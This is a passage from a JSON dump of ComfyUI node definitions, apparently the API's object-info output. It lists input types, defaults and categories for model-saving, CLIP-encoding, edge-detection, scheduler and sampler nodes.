"clip2": ["CLIP"]}}, "input_order": {"required": ["clip1", "clip2"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeAdd", "display_name": "CLIPMergeAdd", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": ["combine clip"]}, "CLIPSave": {"input": {"required": {"clip": ["CLIP"], "filename_prefix": ["STRING", {"default": "clip/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["clip", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "CLIPSave", "display_name": "CLIPSave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "VAESave": {"input": {"required": {"vae": ["VAE"], "filename_prefix": ["STRING", {"default": "vae/ComfyUI_vae"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "VAESave", "display_name": "VAESave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "ModelSave": {"input": {"required": {"model": ["MODEL"], "filename_prefix": ["STRING", {"default": "diffusion_models/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "ModelSave", "display_name": "ModelSave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["export model", "checkpoint save"]}, "TomePatchModel": {"input": {"required": {"model": ["MODEL", {}], "ratio": ["FLOAT", {"default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "ratio"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TomePatchModel", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_tomesd", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSDXLRefiner": {"input": {"required": {"ascore": ["FLOAT", {"default": 6.0, "min": 0.0, "max": 1000.0, "step": 0.01}], "width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {}]}}, "input_order": {"required": ["ascore", "width", "height", "text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSDXLRefiner", "display_name": "CLIP Text Encode (SDXL Refiner)", "description": "", "python_module": "comfy_extras.nodes_clip_sdxl", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSDXL": {"input": {"required": {"clip": ["CLIP", {}], "width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "crop_w": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 16384}], "crop_h": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 16384}], "target_width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "target_height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "text_l": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "width", "height", "crop_w", "crop_h", "target_width", "target_height", "text_g", "text_l"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSDXL", "display_name": "CLIP Text Encode (SDXL)", "description": "", "python_module": "comfy_extras.nodes_clip_sdxl", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Canny": {"input": {"required": {"image": ["IMAGE", {}], "low_threshold": ["FLOAT", {"default": 0.4, "min": 0.01, "max": 0.99, "step": 0.01}], "high_threshold": ["FLOAT", {"default": 0.8, "min": 0.01, "max": 0.99, "step": 0.01}]}}, "input_order": {"required": ["image", "low_threshold", "high_threshold"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Canny", "display_name": "Detect Edges (Canny)", "description": "", "python_module": "comfy_extras.nodes_canny", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["edge detection", "outline", "contour detection", "line art"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "FreeU": {"input": {"required": {"model": ["MODEL", {}], "b1": ["FLOAT", {"advanced": true, "default": 1.1, "min": 0.0, "max": 10.0, "step": 0.01}], "b2": ["FLOAT", {"advanced": true, "default": 1.2, "min": 0.0, "max": 10.0, "step": 0.01}], "s1": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 10.0, "step": 0.01}], "s2": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "b1", "b2", "s1", "s2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreeU", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_freelunch", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FreeU_V2": {"input": {"required": {"model": ["MODEL", {}], "b1": ["FLOAT", {"advanced": true, "default": 1.3, "min": 0.0, "max": 10.0, "step": 0.01}], "b2": ["FLOAT", {"advanced": true, "default": 1.4, "min": 0.0, "max": 10.0, "step": 0.01}], "s1": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 10.0, "step": 0.01}], "s2": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "b1", "b2", "s1", "s2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreeU_V2", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_freelunch", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerCustom": {"input": {"required": {"model": ["MODEL", {}], "add_noise": ["BOOLEAN", {"advanced": true, "default": true}], "noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "sampler": ["SAMPLER", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["model", "add_noise", "noise_seed", "cfg", "positive", "negative", "sampler", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["output", "denoised_output"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SamplerCustom", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGOverride": {"input": {"required": {"model": ["MODEL", {}], "cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "cfg", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGOverride", "display_name": "CFG Override", "description": "Override cfg to a fixed value over a [start, end] percent (sigma) range. With multiple overrides, the one nearest the sampler wins on overlap.", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BasicScheduler": {"input": {"required": {"model": ["MODEL", {}], "scheduler": ["COMBO", {"multiselect": false, "options": ["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"]}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "scheduler", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "BasicScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KarrasScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "rho": ["FLOAT", {"advanced": true, "default": 7.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "rho"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "KarrasScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ExponentialScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ExponentialScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PolyexponentialScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "rho": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "rho"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "PolyexponentialScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LaplaceScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "mu": ["FLOAT", {"advanced": true, "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.1, "round": false}], "beta": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0.0, "max": 10.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "mu", "beta"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "LaplaceScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VPScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "beta_d": ["FLOAT", {"advanced": true, "default": 19.9, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "beta_min": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "eps_s": ["FLOAT", {"advanced": true, "default": 0.001, "min": 0.0, "max": 1.0, "step": 0.0001, "round": false}]}}, "input_order": {"required": ["steps", "beta_d", "beta_min", "eps_s"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "VPScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BetaSamplingScheduler": {"input": {"required": {"model": ["MODEL", {}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "alpha": ["FLOAT", {"advanced": true, "default": 0.6, "min": 0.0, "max": 50.0, "step": 0.01, "round": false}], "beta": ["FLOAT", {"advanced": true, "default": 0.6, "min": 0.0, "max": 50.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["model", "steps", "alpha", "beta"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "BetaSamplingScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SDTurboScheduler": {"input": {"required": {"model": ["MODEL", {}], "steps": ["INT", {"default": 1, "min": 1, "max": 10}], "denoise": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "SDTurboScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KSamplerSelect": {"input": {"required": {"sampler_name": ["COMBO", {"multiselect": false, "options": ["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"]}]}}, "input_order": {"required": ["sampler_name"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "KSamplerSelect", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerAncestral": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerAncestral", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerAncestralCFGPP": {"input": {"required": {"eta": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerAncestralCFGPP", "display_name": "SamplerEulerAncestralCFG++", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLMS": {"input": {"required": {"order": ["INT", {"advanced": true, "default": 4, "min": 1, "max": 100}]}}, "input_order": {"required": ["order"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLMS", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_3M_SDE": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["eta", "s_noise", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_3M_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_2M_SDE": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["midpoint", "heun"]}], "eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["solver_type", "eta", "s_noise", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_2M_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_SDE": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "r": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["eta", "s_noise", "r", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_2S_Ancestral": {"input": {"required": {"eta": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_2S_Ancestral", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMAdaptative": {"input": {"required": {"order": ["INT", {"advanced": true, "default": 3, "min": 2, "max": 3}], "rtol": ["FLOAT", {"advanced": true, "default": 0.05, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "atol": ["FLOAT", {"advanced": true, "default": 0.0078, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "h_init": ["FLOAT", {"advanced": true, "default": 0.05, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "pcoeff": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "icoeff": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "dcoeff": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "accept_safety": ["FLOAT", {"advanced": true, "default": 0.81, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "eta": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["order", "rtol", "atol", "h_init", "pcoeff", "icoeff", "dcoeff", "accept_safety", "eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMAdaptative", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerER_SDE": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["ER-SDE", "Reverse-time SDE", "ODE"]}], "max_stage": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 3}], "eta": ["FLOAT", {"tooltip": "Stochastic strength of reverse-time SDE.\nWhen eta=0, it reduces to deterministic ODE. This setting doesn't apply to ER-SDE solver type.", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["solver_type", "max_stage", "eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerER_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerSASolver": {"input": {"required": {"model": ["MODEL", {}], "eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01, "round": false}], "sde_start_percent": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 1.0, "step": 0.001}], "sde_end_percent": ["FLOAT", {"advanced": true, "default": 0.8, "min": 0.0, "max": 1.0, "step": 0.001}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "predictor_order": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 6}], "corrector_order": ["INT", {"advanced": true, "default": 4, "min": 0, "max": 6}], "use_pece": ["BOOLEAN", {"advanced": true}], "simple_order_2": ["BOOLEAN", {"advanced": true}]}}, "input_order": {"required": ["model", "eta", "sde_start_percent", "sde_end_percent", "s_noise", "predictor_order", "corrector_order", "use_pece", "simple_order_2"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerSASolver", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sde"], "essentials_category": null, "has_intermediate_output": false}, "SamplerSEEDS2": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["phi_1", "phi_2"]}], "eta": ["FLOAT", {"tooltip": "Stochastic strength", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"tooltip": "SDE noise multiplier", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "r": ["FLOAT", {"tooltip": "Relative step size for the intermediate stage (c2 node)", "advanced": true, "default": 0.5, "min": 0.01, "max": 1.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["solver_type", "eta", "s_noise", "r"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerSEEDS2", "display_name": null, "description": "This sampler node can represent multiple samplers:\n\nseeds_2\n- default setting\n\nexp_heun_2_x0\n- solver_type=phi_2, r=1.0, eta=0.0\n\nexp_heun_2_x0_sde\n- solver_type=phi_2, r=1.0, eta=1.0, s_noise=1.0", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sde", "exp heun"], "essentials_category": null, "has_intermediate_output": false}, "SplitSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}], "step": ["INT", {"default": 0, "min": 0, "max": 10000}]}}, "input_order": {"required": ["sigmas", "step"]}, "is_input_list": false, "output": ["SIGMAS", "SIGMAS"], "output_is_list": [false, false], "output_name": ["high_sigmas", "low_sigmas"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, 